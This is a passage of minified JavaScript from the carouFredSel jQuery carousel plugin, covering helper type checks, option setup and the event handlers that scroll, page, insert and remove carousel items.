is_array(a){return a instanceof Array}function is_jquery(a){return a instanceof jQuery}function is_object(a){return(a instanceof Object||\"object\"==typeof a)&&!is_null(a)&&!is_jquery(a)&&!is_array(a)&&!is_function(a)}function is_number(a){return(a instanceof Number||\"number\"==typeof a)&&!isNaN(a)}function is_string(a){return(a instanceof String||\"string\"==typeof a)&&!is_undefined(a)&&!is_true(a)&&!is_false(a)}function is_function(a){return a instanceof Function||\"function\"==typeof a}function is_boolean(a){return a instanceof Boolean||\"boolean\"==typeof a||is_true(a)||is_false(a)}function is_true(a){return a===!0||\"true\"===a}function is_false(a){return a===!1||\"false\"===a}function is_percentage(a){return is_string(a)&&\"%\"==a.slice(-1)}function getTime(){return(new Date).getTime()}function deprecated(a,b){debug(!0,a+\" is DEPRECATED, support for it will be removed. Use \"+b+\" instead.\")}function debug(a,b){if(!is_undefined(window.console)&&!is_undefined(window.console.log)){if(is_object(a)){var c=\" (\"+a.selector+\")\";a=a.debug}else var c=\"\";if(!a)return!1;b=is_string(b)?\"carouFredSel\"+c+\": \"+b:[\"carouFredSel\"+c+\":\",b],window.console.log(b)}return!1}$.fn.carouFredSel||($.fn.caroufredsel=$.fn.carouFredSel=function(options,configs){if(0==this.length)return debug(!0,'No element found for \"'+this.selector+'\".'),this;if(this.length>1)return this.each(function(){$(this).carouFredSel(options,configs)});var $cfs=this,$tt0=this[0],starting_position=!1;$cfs.data(\"_cfs_isCarousel\")&&(starting_position=$cfs.triggerHandler(\"_cfs_triggerEvent\",\"currentPosition\"),$cfs.trigger(\"_cfs_triggerEvent\",[\"destroy\",!0]));var FN={};FN._init=function(a,b,c){a=go_getObject($tt0,a),a.items=go_getItemsObject($tt0,a.items),a.scroll=go_getScrollObject($tt0,a.scroll),a.auto=go_getAutoObject($tt0,a.auto),a.prev=go_getPrevNextObject($tt0,a.prev),a.next=go_getPrevNextObject($tt0,a.next),a.pagination=go_getPaginationObject($tt0,a.pagination),a.swipe=go_getSwipeObject($tt0,a.swipe),a.mousewheel=go_getMousewheelObject($tt0,a.mousewheel),b&&(opts_orig=$.extend(!0,{},$.fn.carouFredSel.defaults,a)),opts=$.extend(!0,{},$.fn.carouFredSel.defaults,a),opts.d=cf_getDimensions(opts),crsl.direction=\"up\"==opts.direction||\"left\"==opts.direction?\"next\":\"prev\";var d=$cfs.children(),e=ms_getParentSize($wrp,opts,\"width\");if(is_true(opts.cookie)&&(opts.cookie=\"caroufredsel_cookie_\"+conf.serialNumber),opts.maxDimension=ms_getMaxDimension(opts,e),opts.items=in_complementItems(opts.items,opts,d,c),opts[opts.d.width]=in_complementPrimarySize(opts[opts.d.width],opts,d),opts[opts.d.height]=in_complementSecondarySize(opts[opts.d.height],opts,d),opts.responsive&&(is_percentage(opts[opts.d.width])||(opts[opts.d.width]=\"100%\")),is_percentage(opts[opts.d.width])&&(crsl.upDateOnWindowResize=!0,crsl.primarySizePercentage=opts[opts.d.width],opts[opts.d.width]=ms_getPercentage(e,crsl.primarySizePercentage),opts.items.visible||(opts.items.visibleConf.variable=!0)),opts.responsive?(opts.usePadding=!1,opts.padding=[0,0,0,0],opts.align=!1,opts.items.visibleConf.variable=!1):(opts.items.visible||(opts=in_complementVisibleItems(opts,e)),opts[opts.d.width]||(!opts.items.visibleConf.variable&&is_number(opts.items[opts.d.width])&&\"*\"==opts.items.filter?(opts[opts.d.width]=opts.items.visible*opts.items[opts.d.width],opts.align=!1):opts[opts.d.width]=\"variable\"),is_undefined(opts.align)&&(opts.align=is_number(opts[opts.d.width])?\"center\":!1),opts.items.visibleConf.variable&&(opts.items.visible=gn_getVisibleItemsNext(d,opts,0))),\"*\"==opts.items.filter||opts.items.visibleConf.variable||(opts.items.visibleConf.org=opts.items.visible,opts.items.visible=gn_getVisibleItemsNextFilter(d,opts,0)),opts.items.visible=cf_getItemsAdjust(opts.items.visible,opts,opts.items.visibleConf.adjust,$tt0),opts.items.visibleConf.old=opts.items.visible,opts.responsive)opts.items.visibleConf.min||(opts.items.visibleConf.min=opts.items.visible),opts.items.visibleConf.max||(opts.items.visibleConf.max=opts.items.visible),opts=in_getResponsiveValues(opts,d,e);else switch(opts.padding=cf_getPadding(opts.padding),\"top\"==opts.align?opts.align=\"left\":\"bottom\"==opts.align&&(opts.align=\"right\"),opts.align){case\"center\":case\"left\":case\"right\":\"variable\"!=opts[opts.d.width]&&(opts=in_getAlignPadding(opts,d),opts.usePadding=!0);break;default:opts.align=!1,opts.usePadding=0==opts.padding[0]&&0==opts.padding[1]&&0==opts.padding[2]&&0==opts.padding[3]?!1:!0}is_number(opts.scroll.duration)||(opts.scroll.duration=500),is_undefined(opts.scroll.items)&&(opts.scroll.items=opts.responsive||opts.items.visibleConf.variable||\"*\"!=opts.items.filter?\"visible\":opts.items.visible),opts.auto=$.extend(!0,{},opts.scroll,opts.auto),opts.prev=$.extend(!0,{},opts.scroll,opts.prev),opts.next=$.extend(!0,{},opts.scroll,opts.next),opts.pagination=$.extend(!0,{},opts.scroll,opts.pagination),opts.auto=go_complementAutoObject($tt0,opts.auto),opts.prev=go_complementPrevNextObject($tt0,opts.prev),opts.next=go_complementPrevNextObject($tt0,opts.next),opts.pagination=go_complementPaginationObject($tt0,opts.pagination),opts.swipe=go_complementSwipeObject($tt0,opts.swipe),opts.mousewheel=go_complementMousewheelObject($tt0,opts.mousewheel),opts.synchronise&&(opts.synchronise=cf_getSynchArr(opts.synchronise)),opts.auto.onPauseStart&&(opts.auto.onTimeoutStart=opts.auto.onPauseStart,deprecated(\"auto.onPauseStart\",\"auto.onTimeoutStart\")),opts.auto.onPausePause&&(opts.auto.onTimeoutPause=opts.auto.onPausePause,deprecated(\"auto.onPausePause\",\"auto.onTimeoutPause\")),opts.auto.onPauseEnd&&(opts.auto.onTimeoutEnd=opts.auto.onPauseEnd,deprecated(\"auto.onPauseEnd\",\"auto.onTimeoutEnd\")),opts.auto.pauseDuration&&(opts.auto.timeoutDuration=opts.auto.pauseDuration,deprecated(\"auto.pauseDuration\",\"auto.timeoutDuration\"))},FN._build=function(){$cfs.data(\"_cfs_isCarousel\",!0);var a=$cfs.children(),b=in_mapCss($cfs,[\"textAlign\",\"float\",\"position\",\"top\",\"right\",\"bottom\",\"left\",\"zIndex\",\"width\",\"height\",\"marginTop\",\"marginRight\",\"marginBottom\",\"marginLeft\"]),c=\"relative\";switch(b.position){case\"absolute\":case\"fixed\":c=b.position}\"parent\"==conf.wrapper?sz_storeOrigCss($wrp):$wrp.css(b),$wrp.css({overflow:\"hidden\",position:c}),sz_storeOrigCss($cfs),$cfs.data(\"_cfs_origCssZindex\",b.zIndex),$cfs.css({textAlign:\"left\",\"float\":\"none\",position:\"absolute\",top:0,right:\"auto\",bottom:\"auto\",left:0,marginTop:0,marginRight:0,marginBottom:0,marginLeft:0}),sz_storeMargin(a,opts),sz_storeOrigCss(a),opts.responsive&&sz_setResponsiveSizes(opts,a)},FN._bind_events=function(){FN._unbind_events(),$cfs.bind(cf_e(\"stop\",conf),function(a,b){return a.stopPropagation(),crsl.isStopped||opts.auto.button&&opts.auto.button.addClass(cf_c(\"stopped\",conf)),crsl.isStopped=!0,opts.auto.play&&(opts.auto.play=!1,$cfs.trigger(cf_e(\"pause\",conf),b)),!0}),$cfs.bind(cf_e(\"finish\",conf),function(a){return a.stopPropagation(),crsl.isScrolling&&sc_stopScroll(scrl),!0}),$cfs.bind(cf_e(\"pause\",conf),function(a,b,c){if(a.stopPropagation(),tmrs=sc_clearTimers(tmrs),b&&crsl.isScrolling){scrl.isStopped=!0;var d=getTime()-scrl.startTime;scrl.duration-=d,scrl.pre&&(scrl.pre.duration-=d),scrl.post&&(scrl.post.duration-=d),sc_stopScroll(scrl,!1)}if(crsl.isPaused||crsl.isScrolling||c&&(tmrs.timePassed+=getTime()-tmrs.startTime),crsl.isPaused||opts.auto.button&&opts.auto.button.addClass(cf_c(\"paused\",conf)),crsl.isPaused=!0,opts.auto.onTimeoutPause){var e=opts.auto.timeoutDuration-tmrs.timePassed,f=100-Math.ceil(100*e/opts.auto.timeoutDuration);opts.auto.onTimeoutPause.call($tt0,f,e)}return!0}),$cfs.bind(cf_e(\"play\",conf),function(a,b,c,d){a.stopPropagation(),tmrs=sc_clearTimers(tmrs);var e=[b,c,d],f=[\"string\",\"number\",\"boolean\"],g=cf_sortParams(e,f);if(b=g[0],c=g[1],d=g[2],\"prev\"!=b&&\"next\"!=b&&(b=crsl.direction),is_number(c)||(c=0),is_boolean(d)||(d=!1),d&&(crsl.isStopped=!1,opts.auto.play=!0),!opts.auto.play)return a.stopImmediatePropagation(),debug(conf,\"Carousel stopped: Not scrolling.\");crsl.isPaused&&opts.auto.button&&(opts.auto.button.removeClass(cf_c(\"stopped\",conf)),opts.auto.button.removeClass(cf_c(\"paused\",conf))),crsl.isPaused=!1,tmrs.startTime=getTime();var h=opts.auto.timeoutDuration+c;return dur2=h-tmrs.timePassed,perc=100-Math.ceil(100*dur2/h),opts.auto.progress&&(tmrs.progress=setInterval(function(){var a=getTime()-tmrs.startTime+tmrs.timePassed,b=Math.ceil(100*a/h);opts.auto.progress.updater.call(opts.auto.progress.bar[0],b)},opts.auto.progress.interval)),tmrs.auto=setTimeout(function(){opts.auto.progress&&opts.auto.progress.updater.call(opts.auto.progress.bar[0],100),opts.auto.onTimeoutEnd&&opts.auto.onTimeoutEnd.call($tt0,perc,dur2),crsl.isScrolling?$cfs.trigger(cf_e(\"play\",conf),b):$cfs.trigger(cf_e(b,conf),opts.auto)},dur2),opts.auto.onTimeoutStart&&opts.auto.onTimeoutStart.call($tt0,perc,dur2),!0}),$cfs.bind(cf_e(\"resume\",conf),function(a){return a.stopPropagation(),scrl.isStopped?(scrl.isStopped=!1,crsl.isPaused=!1,crsl.isScrolling=!0,scrl.startTime=getTime(),sc_startScroll(scrl,conf)):$cfs.trigger(cf_e(\"play\",conf)),!0}),$cfs.bind(cf_e(\"prev\",conf)+\" \"+cf_e(\"next\",conf),function(a,b,c,d,e){if(a.stopPropagation(),crsl.isStopped||$cfs.is(\":hidden\"))return a.stopImmediatePropagation(),debug(conf,\"Carousel stopped or hidden: Not scrolling.\");var f=is_number(opts.items.minimum)?opts.items.minimum:opts.items.visible+1;if(f>itms.total)return a.stopImmediatePropagation(),debug(conf,\"Not enough items (\"+itms.total+\" total, \"+f+\" needed): Not scrolling.\");var g=[b,c,d,e],h=[\"object\",\"number/string\",\"function\",\"boolean\"],i=cf_sortParams(g,h);b=i[0],c=i[1],d=i[2],e=i[3];var j=a.type.slice(conf.events.prefix.length);if(is_object(b)||(b={}),is_function(d)&&(b.onAfter=d),is_boolean(e)&&(b.queue=e),b=$.extend(!0,{},opts[j],b),b.conditions&&!b.conditions.call($tt0,j))return a.stopImmediatePropagation(),debug(conf,'Callback \"conditions\" returned false.');if(!is_number(c)){if(\"*\"!=opts.items.filter)c=\"visible\";else for(var k=[c,b.items,opts[j].items],i=0,l=k.length;l>i;i++)if(is_number(k[i])||\"page\"==k[i]||\"visible\"==k[i]){c=k[i];break}switch(c){case\"page\":return a.stopImmediatePropagation(),$cfs.triggerHandler(cf_e(j+\"Page\",conf),[b,d]);case\"visible\":opts.items.visibleConf.variable||\"*\"!=opts.items.filter||(c=opts.items.visible)}}if(scrl.isStopped)return $cfs.trigger(cf_e(\"resume\",conf)),$cfs.trigger(cf_e(\"queue\",conf),[j,[b,c,d]]),a.stopImmediatePropagation(),debug(conf,\"Carousel resumed scrolling.\");if(b.duration>0&&crsl.isScrolling)return b.queue&&(\"last\"==b.queue&&(queu=[]),(\"first\"!=b.queue||0==queu.length)&&$cfs.trigger(cf_e(\"queue\",conf),[j,[b,c,d]])),a.stopImmediatePropagation(),debug(conf,\"Carousel currently scrolling.\");if(tmrs.timePassed=0,$cfs.trigger(cf_e(\"slide_\"+j,conf),[b,c]),opts.synchronise)for(var m=opts.synchronise,n=[b,c],o=0,l=m.length;l>o;o++){var p=j;m[o][2]||(p=\"prev\"==p?\"next\":\"prev\"),m[o][1]||(n[0]=m[o][0].triggerHandler(\"_cfs_triggerEvent\",[\"configuration\",p])),n[1]=c+m[o][3],m[o][0].trigger(\"_cfs_triggerEvent\",[\"slide_\"+p,n])}return!0}),$cfs.bind(cf_e(\"slide_prev\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.children();if(!opts.circular&&0==itms.first)return opts.infinite&&$cfs.trigger(cf_e(\"next\",conf),itms.total-1),a.stopImmediatePropagation();if(sz_resetMargin(d,opts),!is_number(c)){if(opts.items.visibleConf.variable)c=gn_getVisibleItemsPrev(d,opts,itms.total-1);else if(\"*\"!=opts.items.filter){var e=is_number(b.items)?b.items:gn_getVisibleOrg($cfs,opts);c=gn_getScrollItemsPrevFilter(d,opts,itms.total-1,e)}else c=opts.items.visible;c=cf_getAdjust(c,opts,b.items,$tt0)}if(opts.circular||itms.total-c<itms.first&&(c=itms.total-itms.first),opts.items.visibleConf.old=opts.items.visible,opts.items.visibleConf.variable){var f=cf_getItemsAdjust(gn_getVisibleItemsNext(d,opts,itms.total-c),opts,opts.items.visibleConf.adjust,$tt0);f>=opts.items.visible+c&&itms.total>c&&(c++,f=cf_getItemsAdjust(gn_getVisibleItemsNext(d,opts,itms.total-c),opts,opts.items.visibleConf.adjust,$tt0)),opts.items.visible=f}else if(\"*\"!=opts.items.filter){var f=gn_getVisibleItemsNextFilter(d,opts,itms.total-c);opts.items.visible=cf_getItemsAdjust(f,opts,opts.items.visibleConf.adjust,$tt0)}if(sz_resetMargin(d,opts,!0),0==c)return a.stopImmediatePropagation(),debug(conf,\"0 items to scroll: Not scrolling.\");for(debug(conf,\"Scrolling \"+c+\" items backward.\"),itms.first+=c;itms.first>=itms.total;)itms.first-=itms.total;opts.circular||(0==itms.first&&b.onEnd&&b.onEnd.call($tt0,\"prev\"),opts.infinite||nv_enableNavi(opts,itms.first,conf)),$cfs.children().slice(itms.total-c,itms.total).prependTo($cfs),itms.total<opts.items.visible+c&&$cfs.children().slice(0,opts.items.visible+c-itms.total).clone(!0).appendTo($cfs);var d=$cfs.children(),g=gi_getOldItemsPrev(d,opts,c),h=gi_getNewItemsPrev(d,opts),i=d.eq(c-1),j=g.last(),k=h.last();sz_resetMargin(d,opts);var l=0,m=0;if(opts.align){var n=cf_getAlignPadding(h,opts);l=n[0],m=n[1]}var o=0>l?opts.padding[opts.d[3]]:0,p=!1,q=$();if(c>opts.items.visible&&(q=d.slice(opts.items.visibleConf.old,c),\"directscroll\"==b.fx)){var r=opts.items[opts.d.width];p=q,i=k,sc_hideHiddenItems(p),opts.items[opts.d.width]=\"variable\"}var s=!1,t=ms_getTotalSize(d.slice(0,c),opts,\"width\"),u=cf_mapWrapperSizes(ms_getSizes(h,opts,!0),opts,!opts.usePadding),v=0,w={},x={},y={},z={},A={},B={},C={},D=sc_getDuration(b,opts,c,t);switch(b.fx){case\"cover\":case\"cover-fade\":v=ms_getTotalSize(d.slice(0,opts.items.visible),opts,\"width\")}p&&(opts.items[opts.d.width]=r),sz_resetMargin(d,opts,!0),m>=0&&sz_resetMargin(j,opts,opts.padding[opts.d[1]]),l>=0&&sz_resetMargin(i,opts,opts.padding[opts.d[3]]),opts.align&&(opts.padding[opts.d[1]]=m,opts.padding[opts.d[3]]=l),B[opts.d.left]=-(t-o),C[opts.d.left]=-(v-o),x[opts.d.left]=u[opts.d.width];var E=function(){},F=function(){},G=function(){},H=function(){},I=function(){},J=function(){},K=function(){},L=function(){},M=function(){},N=function(){},O=function(){};switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":case\"uncover\":case\"uncover-fade\":s=$cfs.clone(!0).appendTo($wrp)}switch(b.fx){case\"crossfade\":case\"uncover\":case\"uncover-fade\":s.children().slice(0,c).remove(),s.children().slice(opts.items.visibleConf.old).remove();break;case\"cover\":case\"cover-fade\":s.children().slice(opts.items.visible).remove(),s.css(C)}if($cfs.css(B),scrl=sc_setScroll(D,b.easing,conf),w[opts.d.left]=opts.usePadding?opts.padding[opts.d[3]]:0,(\"variable\"==opts[opts.d.width]||\"variable\"==opts[opts.d.height])&&(E=function(){$wrp.css(u)},F=function(){scrl.anims.push([$wrp,u])}),opts.usePadding){switch(k.not(i).length&&(y[opts.d.marginRight]=i.data(\"_cfs_origCssMargin\"),0>l?i.css(y):(K=function(){i.css(y)},L=function(){scrl.anims.push([i,y])})),b.fx){case\"cover\":case\"cover-fade\":s.children().eq(c-1).css(y)}k.not(j).length&&(z[opts.d.marginRight]=j.data(\"_cfs_origCssMargin\"),G=function(){j.css(z)},H=function(){scrl.anims.push([j,z])}),m>=0&&(A[opts.d.marginRight]=k.data(\"_cfs_origCssMargin\")+opts.padding[opts.d[1]],I=function(){k.css(A)},J=function(){scrl.anims.push([k,A])})}O=function(){$cfs.css(w)};var P=opts.items.visible+c-itms.total;N=function(){if(P>0&&($cfs.children().slice(itms.total).remove(),g=$($cfs.children().slice(itms.total-(opts.items.visible-P)).get().concat($cfs.children().slice(0,P).get()))),sc_showHiddenItems(p),opts.usePadding){var a=$cfs.children().eq(opts.items.visible+c-1);a.css(opts.d.marginRight,a.data(\"_cfs_origCssMargin\"))}};var Q=sc_mapCallbackArguments(g,q,h,c,\"prev\",D,u);switch(M=function(){sc_afterScroll($cfs,s,b),crsl.isScrolling=!1,clbk.onAfter=sc_fireCallbacks($tt0,b,\"onAfter\",Q,clbk),queu=sc_fireQueue($cfs,queu,conf),crsl.isPaused||$cfs.trigger(cf_e(\"play\",conf))},crsl.isScrolling=!0,tmrs=sc_clearTimers(tmrs),clbk.onBefore=sc_fireCallbacks($tt0,b,\"onBefore\",Q,clbk),b.fx){case\"none\":$cfs.css(w),E(),G(),I(),K(),O(),N(),M();break;case\"fade\":scrl.anims.push([$cfs,{opacity:0},function(){E(),G(),I(),K(),O(),N(),scrl=sc_setScroll(D,b.easing,conf),scrl.anims.push([$cfs,{opacity:1},M]),sc_startScroll(scrl,conf)}]);break;case\"crossfade\":$cfs.css({opacity:0}),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,{opacity:1},M]),F(),G(),I(),K(),O(),N();break;case\"cover\":scrl.anims.push([s,w,function(){G(),I(),K(),O(),N(),M()}]),F();break;case\"cover-fade\":scrl.anims.push([$cfs,{opacity:0}]),scrl.anims.push([s,w,function(){G(),I(),K(),O(),N(),M()}]),F();break;case\"uncover\":scrl.anims.push([s,x,M]),F(),G(),I(),K(),O(),N();break;case\"uncover-fade\":$cfs.css({opacity:0}),scrl.anims.push([$cfs,{opacity:1}]),scrl.anims.push([s,x,M]),F(),G(),I(),K(),O(),N();break;default:scrl.anims.push([$cfs,w,function(){N(),M()}]),F(),H(),J(),L()}return sc_startScroll(scrl,conf),cf_setCookie(opts.cookie,$cfs,conf),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!1,u]),!0}),$cfs.bind(cf_e(\"slide_next\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.children();if(!opts.circular&&itms.first==opts.items.visible)return opts.infinite&&$cfs.trigger(cf_e(\"prev\",conf),itms.total-1),a.stopImmediatePropagation();if(sz_resetMargin(d,opts),!is_number(c)){if(\"*\"!=opts.items.filter){var e=is_number(b.items)?b.items:gn_getVisibleOrg($cfs,opts);c=gn_getScrollItemsNextFilter(d,opts,0,e)}else c=opts.items.visible;c=cf_getAdjust(c,opts,b.items,$tt0)}var f=0==itms.first?itms.total:itms.first;if(!opts.circular){if(opts.items.visibleConf.variable)var g=gn_getVisibleItemsNext(d,opts,c),e=gn_getVisibleItemsPrev(d,opts,f-1);else var g=opts.items.visible,e=opts.items.visible;c+g>f&&(c=f-e)}if(opts.items.visibleConf.old=opts.items.visible,opts.items.visibleConf.variable){for(var g=cf_getItemsAdjust(gn_getVisibleItemsNextTestCircular(d,opts,c,f),opts,opts.items.visibleConf.adjust,$tt0);opts.items.visible-c>=g&&itms.total>c;)c++,g=cf_getItemsAdjust(gn_getVisibleItemsNextTestCircular(d,opts,c,f),opts,opts.items.visibleConf.adjust,$tt0);opts.items.visible=g}else if(\"*\"!=opts.items.filter){var g=gn_getVisibleItemsNextFilter(d,opts,c);opts.items.visible=cf_getItemsAdjust(g,opts,opts.items.visibleConf.adjust,$tt0)}if(sz_resetMargin(d,opts,!0),0==c)return a.stopImmediatePropagation(),debug(conf,\"0 items to scroll: Not scrolling.\");for(debug(conf,\"Scrolling \"+c+\" items forward.\"),itms.first-=c;0>itms.first;)itms.first+=itms.total;opts.circular||(itms.first==opts.items.visible&&b.onEnd&&b.onEnd.call($tt0,\"next\"),opts.infinite||nv_enableNavi(opts,itms.first,conf)),itms.total<opts.items.visible+c&&$cfs.children().slice(0,opts.items.visible+c-itms.total).clone(!0).appendTo($cfs);var d=$cfs.children(),h=gi_getOldItemsNext(d,opts),i=gi_getNewItemsNext(d,opts,c),j=d.eq(c-1),k=h.last(),l=i.last();sz_resetMargin(d,opts);var m=0,n=0;if(opts.align){var o=cf_getAlignPadding(i,opts);m=o[0],n=o[1]}var p=!1,q=$();if(c>opts.items.visibleConf.old&&(q=d.slice(opts.items.visibleConf.old,c),\"directscroll\"==b.fx)){var r=opts.items[opts.d.width];p=q,j=k,sc_hideHiddenItems(p),opts.items[opts.d.width]=\"variable\"}var s=!1,t=ms_getTotalSize(d.slice(0,c),opts,\"width\"),u=cf_mapWrapperSizes(ms_getSizes(i,opts,!0),opts,!opts.usePadding),v=0,w={},x={},y={},z={},A={},B=sc_getDuration(b,opts,c,t);switch(b.fx){case\"uncover\":case\"uncover-fade\":v=ms_getTotalSize(d.slice(0,opts.items.visibleConf.old),opts,\"width\")}p&&(opts.items[opts.d.width]=r),opts.align&&0>opts.padding[opts.d[1]]&&(opts.padding[opts.d[1]]=0),sz_resetMargin(d,opts,!0),sz_resetMargin(k,opts,opts.padding[opts.d[1]]),opts.align&&(opts.padding[opts.d[1]]=n,opts.padding[opts.d[3]]=m),A[opts.d.left]=opts.usePadding?opts.padding[opts.d[3]]:0;var C=function(){},D=function(){},E=function(){},F=function(){},G=function(){},H=function(){},I=function(){},J=function(){},K=function(){};switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":case\"uncover\":case\"uncover-fade\":s=$cfs.clone(!0).appendTo($wrp),s.children().slice(opts.items.visibleConf.old).remove()}switch(b.fx){case\"crossfade\":case\"cover\":case\"cover-fade\":$cfs.css(\"zIndex\",1),s.css(\"zIndex\",0)}if(scrl=sc_setScroll(B,b.easing,conf),w[opts.d.left]=-t,x[opts.d.left]=-v,0>m&&(w[opts.d.left]+=m),(\"variable\"==opts[opts.d.width]||\"variable\"==opts[opts.d.height])&&(C=function(){$wrp.css(u)},D=function(){scrl.anims.push([$wrp,u])}),opts.usePadding){var L=l.data(\"_cfs_origCssMargin\");n>=0&&(L+=opts.padding[opts.d[1]]),l.css(opts.d.marginRight,L),j.not(k).length&&(z[opts.d.marginRight]=k.data(\"_cfs_origCssMargin\")),E=function(){k.css(z)},F=function(){scrl.anims.push([k,z])};var M=j.data(\"_cfs_origCssMargin\");m>0&&(M+=opts.padding[opts.d[3]]),y[opts.d.marginRight]=M,G=function(){j.css(y)},H=function(){scrl.anims.push([j,y])}}K=function(){$cfs.css(A)};var N=opts.items.visible+c-itms.total;J=function(){N>0&&$cfs.children().slice(itms.total).remove();var a=$cfs.children().slice(0,c).appendTo($cfs).last();if(N>0&&(i=gi_getCurrentItems(d,opts)),sc_showHiddenItems(p),opts.usePadding){if(itms.total<opts.items.visible+c){var b=$cfs.children().eq(opts.items.visible-1);b.css(opts.d.marginRight,b.data(\"_cfs_origCssMargin\")+opts.padding[opts.d[1]])}a.css(opts.d.marginRight,a.data(\"_cfs_origCssMargin\"))}};var O=sc_mapCallbackArguments(h,q,i,c,\"next\",B,u);switch(I=function(){$cfs.css(\"zIndex\",$cfs.data(\"_cfs_origCssZindex\")),sc_afterScroll($cfs,s,b),crsl.isScrolling=!1,clbk.onAfter=sc_fireCallbacks($tt0,b,\"onAfter\",O,clbk),queu=sc_fireQueue($cfs,queu,conf),crsl.isPaused||$cfs.trigger(cf_e(\"play\",conf))},crsl.isScrolling=!0,tmrs=sc_clearTimers(tmrs),clbk.onBefore=sc_fireCallbacks($tt0,b,\"onBefore\",O,clbk),b.fx){case\"none\":$cfs.css(w),C(),E(),G(),K(),J(),I();break;case\"fade\":scrl.anims.push([$cfs,{opacity:0},function(){C(),E(),G(),K(),J(),scrl=sc_setScroll(B,b.easing,conf),scrl.anims.push([$cfs,{opacity:1},I]),sc_startScroll(scrl,conf)}]);break;case\"crossfade\":$cfs.css({opacity:0}),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,{opacity:1},I]),D(),E(),G(),K(),J();break;case\"cover\":$cfs.css(opts.d.left,$wrp[opts.d.width]()),scrl.anims.push([$cfs,A,I]),D(),E(),G(),J();break;case\"cover-fade\":$cfs.css(opts.d.left,$wrp[opts.d.width]()),scrl.anims.push([s,{opacity:0}]),scrl.anims.push([$cfs,A,I]),D(),E(),G(),J();break;case\"uncover\":scrl.anims.push([s,x,I]),D(),E(),G(),K(),J();break;case\"uncover-fade\":$cfs.css({opacity:0}),scrl.anims.push([$cfs,{opacity:1}]),scrl.anims.push([s,x,I]),D(),E(),G(),K(),J();break;default:scrl.anims.push([$cfs,w,function(){K(),J(),I()}]),D(),F(),H()}return sc_startScroll(scrl,conf),cf_setCookie(opts.cookie,$cfs,conf),$cfs.trigger(cf_e(\"updatePageStatus\",conf),[!1,u]),!0}),$cfs.bind(cf_e(\"slideTo\",conf),function(a,b,c,d,e,f,g){a.stopPropagation();var h=[b,c,d,e,f,g],i=[\"string/number/object\",\"number\",\"boolean\",\"object\",\"string\",\"function\"],j=cf_sortParams(h,i);return e=j[3],f=j[4],g=j[5],b=gn_getItemIndex(j[0],j[1],j[2],itms,$cfs),0==b?!1:(is_object(e)||(e=!1),\"prev\"!=f&&\"next\"!=f&&(f=opts.circular?itms.total/2>=b?\"next\":\"prev\":0==itms.first||itms.first>b?\"next\":\"prev\"),\"prev\"==f&&(b=itms.total-b),$cfs.trigger(cf_e(f,conf),[e,b,g]),!0)}),$cfs.bind(cf_e(\"prevPage\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.triggerHandler(cf_e(\"currentPage\",conf));return $cfs.triggerHandler(cf_e(\"slideToPage\",conf),[d-1,b,\"prev\",c])}),$cfs.bind(cf_e(\"nextPage\",conf),function(a,b,c){a.stopPropagation();var d=$cfs.triggerHandler(cf_e(\"currentPage\",conf));return $cfs.triggerHandler(cf_e(\"slideToPage\",conf),[d+1,b,\"next\",c])}),$cfs.bind(cf_e(\"slideToPage\",conf),function(a,b,c,d,e){a.stopPropagation(),is_number(b)||(b=$cfs.triggerHandler(cf_e(\"currentPage\",conf)));var f=opts.pagination.items||opts.items.visible,g=Math.ceil(itms.total/f)-1;return 0>b&&(b=g),b>g&&(b=0),$cfs.triggerHandler(cf_e(\"slideTo\",conf),[b*f,0,!0,c,d,e])}),$cfs.bind(cf_e(\"jumpToStart\",conf),function(a,b){if(a.stopPropagation(),b=b?gn_getItemIndex(b,0,!0,itms,$cfs):0,b+=itms.first,0!=b){if(itms.total>0)for(;b>itms.total;)b-=itms.total;$cfs.prepend($cfs.children().slice(b,itms.total))}return!0}),$cfs.bind(cf_e(\"synchronise\",conf),function(a,b){if(a.stopPropagation(),b)b=cf_getSynchArr(b);else{if(!opts.synchronise)return debug(conf,\"No carousel to synchronise.\");b=opts.synchronise}for(var c=$cfs.triggerHandler(cf_e(\"currentPosition\",conf)),d=!0,e=0,f=b.length;f>e;e++)b[e][0].triggerHandler(cf_e(\"slideTo\",conf),[c,b[e][3],!0])||(d=!1);return d}),$cfs.bind(cf_e(\"queue\",conf),function(a,b,c){return a.stopPropagation(),is_function(b)?b.call($tt0,queu):is_array(b)?queu=b:is_undefined(b)||queu.push([b,c]),queu}),$cfs.bind(cf_e(\"insertItem\",conf),function(a,b,c,d,e){a.stopPropagation();var f=[b,c,d,e],g=[\"string/object\",\"string/number/object\",\"boolean\",\"number\"],h=cf_sortParams(f,g);if(b=h[0],c=h[1],d=h[2],e=h[3],is_object(b)&&!is_jquery(b)?b=$(b):is_string(b)&&(b=$(b)),!is_jquery(b)||0==b.length)return debug(conf,\"Not a valid object.\");is_undefined(c)&&(c=\"end\"),sz_storeMargin(b,opts),sz_storeOrigCss(b);var i=c,j=\"before\";\"end\"==c?d?(0==itms.first?(c=itms.total-1,j=\"after\"):(c=itms.first,itms.first+=b.length),0>c&&(c=0)):(c=itms.total-1,j=\"after\"):c=gn_getItemIndex(c,e,d,itms,$cfs);var k=$cfs.children().eq(c);return k.length?k[j](b):(debug(conf,\"Correct insert-position not found! Appending item to the end.\"),$cfs.append(b)),\"end\"==i||d||itms.first>c&&(itms.first+=b.length),itms.total=$cfs.children().length,itms.first>=itms.total&&(itms.first-=itms.total),$cfs.trigger(cf_e(\"updateSizes\",conf)),$cfs.trigger(cf_e(\"linkAnchors\",conf)),!0}),$cfs.bind(cf_e(\"removeItem\",conf),function(a,b,c,d){a.stopPropagation();var e=[b,c,d],f=[\"string/number/object\",\"boolean\",\"number\"],g=cf_sortParams(e,f);if(b=g[0],c=g[1],d=g[2],b instanceof $&&b.length>1)return i=$(),b.each(function(){var e=$cfs.trigger(cf_e(\"removeItem\",conf),[$(this),c,d]);e&&(i=i.add(e))}),i;if(is_undefined(b)||\"end\"==b)i=$cfs.children().last();else{b=gn_getItemIndex(b,d,c,itms,$cfs);var i=$cfs.children().eq(b);i.length&&itms.first>b&&(itms.first-=i.length)}return i&&i.length&&(i.detach(),itms.total=$cfs.children().length,$cfs.trigger(cf_e(\"updateSizes\",conf))),i}),$cfs.bind(cf_e(\"onBefore\",conf)+\" 